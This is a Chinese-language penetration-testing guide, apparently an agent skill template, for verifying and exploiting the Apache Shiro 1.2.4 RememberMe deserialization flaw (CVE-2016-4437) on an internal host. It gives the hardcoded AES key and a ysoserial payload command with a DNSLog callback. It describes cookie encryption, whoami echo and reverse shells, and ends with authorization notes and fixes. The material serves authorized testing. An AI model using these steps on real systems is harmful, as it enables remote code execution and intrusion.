漏洞利用流程 — 构造PoC验证和利用已发现漏洞。Use w…

# Apache Shiro 1.2.4 RememberMe 反序列化漏洞（Shiro-550 / CVE-2016-4437）PoC 验证

一、漏洞原理

• Shiro 处理 rememberMe 时用 AES 加密 Cookie，1.2.4 及以下版本默认密钥硬编码：

kPH+bIxk5D2deZiIxcaaaA==

• 攻击者构造序列化 payload → AES-CBC 加密 → Base64 编码 → 放入 rememberMe Cookie → 服务端解密后反序列化，触发 gadget 执行任意代码。

二、验证步骤

1. 探测漏洞存在

• 访问 http://192.168.10.55:8080/，检查响应头是否含 rememberMe=deleteMe（可确认 Shiro 存在）。
• 构造畸形 Cookie（如 rememberMe=AAAA）发送，若响应仍返回 deleteMe，说明服务端在解密/反序列化后丢弃，具备利用面。

2. 构造 Payload

• 需确认目标 JVM 中是否存在可用依赖（如 CommonsCollections 2.x~4.0、CommonsBeanutils1 等），选用对应 gadget：
• ysoserial 生成：java -jar ysoserial.jar CommonsBeanutils1 "ping your.dnslog.cn" > payload.ser
• 用 Python/pycryptodome 以默认密钥 AES-CBC 加密（随机 IV 前 16 字节），Base64 编码后作为 Cookie 发送。
• 也可直接用集成工具（如 ShiroAttack2、shiro_exploit）自动爆破常见 key 和 gadget。

3. 结果判定

• 回显验证：用 CommonsBeanutils1 等适配 gadget 实现 Tomcat 中间件回显执行 whoami。
• 无回显可用 DNSLog / 内网监听 ICMP、HTTP 请求确认命令执行。
• 写入路径探测或反弹 shell（内网环境建议仅用无害命令验证）。

三、注意事项

• 仅在授权范围内测试，避免破坏性命令。
• 多个 key 候选需逐个尝试；若默认 key 失效，说明已更换密钥，可尝试常见 key 字典。
• JDK 版本可能影响 gadget 链（高版本 JDK 部分链失效）。
• 测试完成后留存截图、流量记录，输出复现报告（漏洞点、利用条件、修复建议：升级至 ≥1.2.5，更换随机密钥，禁用默认 key）。